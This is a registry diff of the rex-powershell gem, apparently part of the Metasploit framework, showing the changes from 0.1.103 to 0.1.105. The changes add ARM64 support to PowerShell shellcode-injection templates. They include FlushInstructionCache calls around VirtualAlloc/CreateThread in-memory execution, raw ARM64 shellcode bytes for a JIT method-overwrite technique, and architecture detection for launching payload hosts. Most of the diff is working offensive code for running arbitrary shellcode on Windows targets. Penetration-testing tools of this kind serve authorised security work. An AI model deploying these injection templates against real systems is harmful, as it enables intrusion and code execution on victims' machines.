rex-powershell 0.1.103 → 0.1.105

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 5d83bed71c29aebe5bb0c2ee0b8fe17b280dee3aa85956a220e693156fc68e82
4
- data.tar.gz: f4955d117533642a8aa52f583a4a271fd5ea764b2bdbd32a69741ad6dcd65d23
3
+ metadata.gz: 229c3e9da070656dd48d0f94df036a0fb1649d2ae76d0b64a284dd823f25e24f
4
+ data.tar.gz: c0aee4bd384ad79bc3a08c26467fd8f8d4a58b43016939ab0f0a633efc93641c
5
5
  SHA512:
6
- metadata.gz: 763134823f908a58451616c8bdfbd0a7b357f96d596e6d06c71a9b301ac8a571f78698574e8ef1a6e76c7a7a2d7529c3c2457dc90b79235bc883829953cdb02d
7
- data.tar.gz: 8d76f2aa9c4e1dda8e955d054c10183708411135522ab99ab32f73a947246802cfc09616593d4a6ed362822c53edaeb08916eb9d242f42798ed8ac08e6cc6f47
6
+ metadata.gz: b0db46889ac226f83686e45aa9938f2068e41c6e6a7ccfe9f6ee922199c3da6a6caff10343a621b9d9cbaa5ad38f867111bf4a472a0b4b1512bcf124a6de3952
7
+ data.tar.gz: 05d9d722eaa582f4f7680b56f6ce8c9d20ce97f22934086c66d124045acd37d12f90fb72c3c777197c084e31acc67c80417b1e6104afd66c428727f50b5281c3
@@ -9,6 +9,7 @@ $%{var_syscode} = @"
9
9
  [Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }
10
10
  [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
11
11
  [DllImport("kernel32.dll")] public static extern bool VirtualProtect(IntPtr lpAddress, int dwSize, int flNewProtect,out int lpflOldProtect);
12
+ [DllImport("kernel32.dll")] public static extern bool FlushInstructionCache(IntPtr hProcess, IntPtr lpBaseAddress, UIntPtr dwSize);
12
13
  [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
13
14
  [DllImport("kernel32.dll")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);
14
15
  }
@@ -29,6 +30,7 @@ if ([Bool]!$%{var_baseaddr}) { $global:result = 3; return }
29
30
  [System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_baseaddr}, $%{var_code}.Length)
30
31
 
31
32
  if ([%{var_kernel32}.func]::VirtualProtect($%{var_baseaddr},[Uint32]$%{var_code}.Length + 1, [%{var_kernel32}.func+MemoryProtection]::Execute, [Ref]$%{var_opf}) -eq $true ) {
33
+ [%{var_kernel32}.func]::FlushInstructionCache([IntPtr](-1), $%{var_baseaddr}, [UIntPtr]($%{var_code}.Length + 1)) | Out-Null
32
34
  [IntPtr] $%{var_threadHandle} = [%{var_kernel32}.func]::CreateThread(0,0,$%{var_baseaddr},0,0,0)
33
35
  if ([Bool]!$%{var_threadHandle}) { $global:result = 7; return }
34
36
  $%{var_temp} = [%{var_kernel32}.func]::WaitForSingleObject($%{var_threadHandle}, [%{var_kernel32}.func+Time]::Infinite)
@@ -46,9 +46,18 @@ $%{var_dyn_meth}.Emit([System.Reflection.Emit.OpCodes]::Xor)
46
46
  $%{var_dyn_meth}.Emit([System.Reflection.Emit.OpCodes]::Ret)
47
47
  $%{var_tgt_meth} = ($%{var_dyn_type}.CreateType()).GetMethod('%{str_tgt_meth}')
48
48
 
49
+ if ($env:PROCESSOR_ARCHITECTURE -eq 'ARM64') {
50
+ $%{var_flush_type} = %{func_build_dyn_type}('%{str_flush_type}')
51
+ $%{var_flush_method} = $%{var_flush_type}.DefinePInvokeMethod('%{str_flush_method}', 'kernel32.dll', 'FlushInstructionCache', [System.Reflection.MethodAttributes]::Public -bOr [System.Reflection.MethodAttributes]::Static -bOr [System.Reflection.MethodAttributes]::PinvokeImpl, [System.Reflection.CallingConventions]::Standard, [Bool], [Type[]]@([IntPtr], [IntPtr], [UIntPtr]), [System.Runtime.InteropServices.CallingConvention]::Winapi, [System.Runtime.InteropServices.CharSet]::Auto)
52
+ $%{var_flush_method}.SetImplementationFlags($%{var_flush_method}.GetMethodImplementationFlags() -bOr [System.Reflection.MethodImplAttributes]::PreserveSig)
53
+ $%{var_flush_method} = ($%{var_flush_type}.CreateType()).GetMethod('%{str_flush_method}')
54
+ }
55
+
49
56
  foreach ($Exec in 1..20) { $%{var_tgt_meth}.Invoke($null, @(0x11112222)) | Out-Null }
50
57
 
51
- if ( [IntPtr]::Size -eq 4 ) {
58
+ if ($env:PROCESSOR_ARCHITECTURE -eq 'ARM64') {
59
+ $%{var_sc} = [Byte[]] @(0xF3,0x53,0xBA,0xA9,0xF5,0x5B,0x01,0xA9,0xF7,0x63,0x02,0xA9,0xF9,0x6B,0x03,0xA9,0xFB,0x73,0x04,0xA9,0xFD,0x7B,0x05,0xA9,0x09,0x00,0x00,0x94,0xFD,0x7B,0x45,0xA9,0xFB,0x73,0x44,0xA9,0xF9,0x6B,0x43,0xA9,0xF7,0x63,0x42,0xA9,0xF5,0x5B,0x41,0xA9,0xF3,0x53,0xC6,0xA8,0x00,0x00,0x80,0xD2,0xC0,0x03,0x5F,0xD6)
60
+ } elseif ( [IntPtr]::Size -eq 4 ) {
52
61
  $%{var_sc} = [Byte[]] @(0x60,0xE8,0x04,0,0,0,0x61,0x31,0xC0,0xC3)
53
62
  } else {
54
63
  $%{var_sc} = [Byte[]] @(0x41,0x54,0x41,0x55,0x41,0x56,0x41,0x57,0x55,0xE8,0x0D,0x00,0x00,0x00,0x5D,0x41,0x5F,0x41,0x5E,0x41,0x5D,0x41,0x5C,0x48,0x31,0xC0,0xC3)
@@ -58,10 +67,14 @@ $%{var_sc_addr} = [Runtime.InteropServices.Marshal]::AllocHGlobal($%{var_sc}.Len
58
67
  [Runtime.InteropServices.Marshal]::Copy($%{var_sc}, 0, $%{var_sc_addr}, $%{var_sc}.Length)
59
68
 
60
69
  $%{var_args} = New-Object Object[](3)
61
- $%{var_args}[0] = [IntPtr]$(%{func_get_meth_addr} $%{var_tgt_meth})
70
+ $%{var_tgt_addr} = [IntPtr]$(%{func_get_meth_addr} $%{var_tgt_meth})
71
+ $%{var_args}[0] = $%{var_tgt_addr}
62
72
  $%{var_args}[1] = $%{var_sc_addr}
63
73
  $%{var_args}[2] = $%{var_sc}.Length
64
74
 
65
75
  $%{var_src_meth}.Invoke($null, $%{var_args})
76
+ if ($env:PROCESSOR_ARCHITECTURE -eq 'ARM64') {
77
+ $%{var_flush_method}.Invoke($null, @([IntPtr](-1), $%{var_tgt_addr}, [UIntPtr]$%{var_sc}.Length)) | Out-Null
78
+ }
66
79
 
67
80
  $%{var_tgt_meth}.Invoke($null, @(0x11112222))
@@ -2,6 +2,8 @@ $%{var_syscode} = @"
2
2
  [DllImport("kernel32.dll")]
3
3
  public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
4
4
  [DllImport("kernel32.dll")]
5
+ public static extern bool FlushInstructionCache(IntPtr hProcess, IntPtr lpBaseAddress, UIntPtr dwSize);
6
+ [DllImport("kernel32.dll")]
5
7
  public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
6
8
  "@
7
9
 
@@ -13,4 +15,6 @@ $%{var_rwx} = $%{var_win32_func}::VirtualAlloc(0,[Math]::Max($%{var_code}.Length
13
15
 
14
16
  [System.Runtime.InteropServices.Marshal]::Copy($%{var_code},0,$%{var_rwx},$%{var_code}.Length)
15
17
 
18
+ $%{var_win32_func}::FlushInstructionCache([IntPtr](-1),$%{var_rwx},[UIntPtr]$%{var_code}.Length) | Out-Null
19
+
16
20
  $%{var_win32_func}::CreateThread(0,0,$%{var_rwx},0,0,0)
@@ -24,6 +24,7 @@ $%{var_buffer} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctio
24
24
 
25
25
  [System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_buffer}, $%{var_code}.length)
26
26
  if (([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll VirtualProtect), (%{func_get_delegate_type} @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]))).Invoke($%{var_buffer}, [Uint32]$%{var_code}.Length, 0x10, [Ref]$%{var_opf})) -eq $true) {
27
- $%{var_hthread} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll CreateThread), (%{func_get_delegate_type} @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$%{var_buffer},[IntPtr]::Zero,0,[IntPtr]::Zero)
27
+ [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll FlushInstructionCache), (%{func_get_delegate_type} @([IntPtr], [IntPtr], [UIntPtr]) ([Bool]))).Invoke([IntPtr](-1), $%{var_buffer}, [UIntPtr]$%{var_code}.Length) | Out-Null
28
+ $%{var_hthread} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll CreateThread), (%{func_get_delegate_type} @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$%{var_buffer},[IntPtr]::Zero,0,[IntPtr]::Zero)
28
29
  [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll WaitForSingleObject), (%{func_get_delegate_type} @([IntPtr], [Int32]))).Invoke($%{var_hthread},0xffffffff) | Out-Null
29
30
  }
@@ -208,8 +208,14 @@ module Command
208
208
  # detect the execution environment and spawn the appropriate
209
209
  # powershell executable for the payload architecture.
210
210
  #
211
+ # ARM64 note: [IntPtr]::Size cannot tell an ARM64 process apart from an x64
212
+ # one, so PROCESSOR_ARCHITECTURE (and PROCESSOR_ARCHITEW6432 for a 32-bit
213
+ # process on Windows-on-ARM) is consulted first. A payload_arch of
214
+ # 'aarch64' targets the native ARM64 powershell.exe under System32
215
+ # (reached via sysnative when the current process is 32-bit).
216
+ #
211
217
  # @param ps_code [String] Powershell code
212
- # @param payload_arch [String] The payload architecture 'x86'/'x86_64'
218
+ # @param payload_arch [String] The payload architecture 'x86'/'x86_64'/'aarch64'
213
219
  # @param encoded [Boolean] Indicates whether ps_code is encoded or not
214
220
  # @param opts [Hash] The options for generate_psh_args
215
221
  #
@@ -240,20 +246,51 @@ $p=[System.Diagnostics.Process]::Start($s)
240
246
  EOS
241
247
  process_start_info.gsub!("\n", ';')
242
248
 
243
- archictecure_detection = <<EOS
244
- if([IntPtr]::Size -eq 4){
245
- #{payload_arch == 'x86' ? "$b='powershell.exe'" : "$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'"}
249
+ # Path helpers keep the emitted PowerShell readable and single-quoted so no
250
+ # further escaping is required at the target.
251
+ native_ps = "$b='powershell.exe'"
252
+ syswow64_ps = "$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'"
253
+ sysnative_ps = "$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'"
254
+
255
+ # On Windows-on-ARM the native host is the ARM64 powershell.exe; the
256
+ # 32-bit x86 host still lives under SysWOW64. When we're already inside a
257
+ # 32-bit process on WoA, PROCESSOR_ARCHITECTURE reports 'x86' and
258
+ # PROCESSOR_ARCHITEW6432 reports 'ARM64', so we escape to native via
259
+ # sysnative. x86_64 payloads on WoA fall through to native and rely on
260
+ # the OS x64 emulator, which is best-effort.
261
+ arm64_native_branch = case payload_arch
262
+ when 'aarch64' then native_ps
263
+ when 'x86' then syswow64_ps
264
+ else native_ps
265
+ end
266
+
267
+ arm64_wow64_branch = case payload_arch
268
+ when 'aarch64' then sysnative_ps
269
+ when 'x86' then native_ps
270
+ else sysnative_ps
271
+ end
272
+
273
+ intptr4_branch = payload_arch == 'x86' ? native_ps : sysnative_ps
274
+ intptr8_branch = payload_arch == 'x86' ? syswow64_ps : native_ps
275
+
276
+ architecture_detection = <<EOS
277
+ if($env:PROCESSOR_ARCHITECTURE -eq 'ARM64'){
278
+ #{arm64_native_branch}
279
+ }elseif($env:PROCESSOR_ARCHITEW6432 -eq 'ARM64'){
280
+ #{arm64_wow64_branch}
281
+ }elseif([IntPtr]::Size -eq 4){
282
+ #{intptr4_branch}
246
283
  }else{
247
- #{payload_arch == 'x86' ? "$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'" : "$b='powershell.exe'"}
284
+ #{intptr8_branch}
248
285
  };
249
286
  EOS
250
287
 
251
- archictecure_detection.gsub!("\n", '')
288
+ architecture_detection.gsub!("\n", '')
252
289
 
253
290
  if opts[:no_arch_detect]
254
291
  return "$b='powershell.exe';#{process_start_info}"
255
292
  else
256
- archictecure_detection + process_start_info
293
+ architecture_detection + process_start_info
257
294
  end
258
295
  end
259
296
 
@@ -264,7 +301,7 @@ EOS
264
301
  # run_hidden_psh, generate_psh_command_line and generate_psh_args
265
302
  #
266
303
  # @param pay [String] The payload shellcode
267
- # @param payload_arch [String] The payload architecture 'x86'/'x86_64'
304
+ # @param payload_arch [String] The payload architecture 'x86'/'x86_64'/'aarch64'
268
305
  # @param opts [Hash] The options to generate the command
269
306
  # @option opts [Boolean] :persist Loop the payload to cause
270
307
  # re-execution if the shellcode finishes
@@ -277,7 +314,7 @@ EOS
277
314
  # @option opts [Integer] :prepend_sleep Sleep for the specified time
278
315
  # before executing the payload
279
316
  # @option opts [String] :method The powershell injection technique to
280
- # use: 'net'/'reflection'/'old'
317
+ # use: 'net'/'reflection'/'old'/'msil'
281
318
  # @option opts [Boolean] :encode_inner_payload Encodes the powershell
282
319
  # script within the hidden/architecture detection wrapper
283
320
  # @option opts [Boolean] :encode_final_payload Encodes the final
@@ -95,10 +95,15 @@ module Payload
95
95
  rig.init_var(:var_sc_addr)
96
96
  rig.init_var(:var_sc)
97
97
  rig.init_var(:var_src_meth)
98
+ rig.init_var(:var_tgt_addr)
99
+ rig.init_var(:var_flush_type)
100
+ rig.init_var(:var_flush_method)
98
101
  rig.init_var(:str_addr_loc)
99
102
  rig.init_var(:str_tgt_meth)
100
103
  rig.init_var(:str_src_type)
101
104
  rig.init_var(:str_tgt_type)
105
+ rig.init_var(:str_flush_type)
106
+ rig.init_var(:str_flush_method)
102
107
 
103
108
  hash_sub = rig.to_h
104
109
  hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)
@@ -1,5 +1,5 @@
1
1
  module Rex
2
2
  module Powershell
3
- VERSION = "0.1.103"
3
+ VERSION = "0.1.105"
4
4
  end
5
5
  end
metadata CHANGED
@@ -1,14 +1,14 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: rex-powershell
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.1.103
4
+ version: 0.1.105
5
5
  platform: ruby
6
6
  authors:
7
7
  - Metasploit Hackers
8
8
  autorequire:
9
9
  bindir: exe
10
10
  cert_chain: []
11
- date: 2025-08-04 00:00:00.000000000 Z
11
+ date: 2026-08-31 00:00:00.000000000 Z
12
12
  dependencies:
13
13
  - !ruby/object:Gem::Dependency
14
14
  name: rake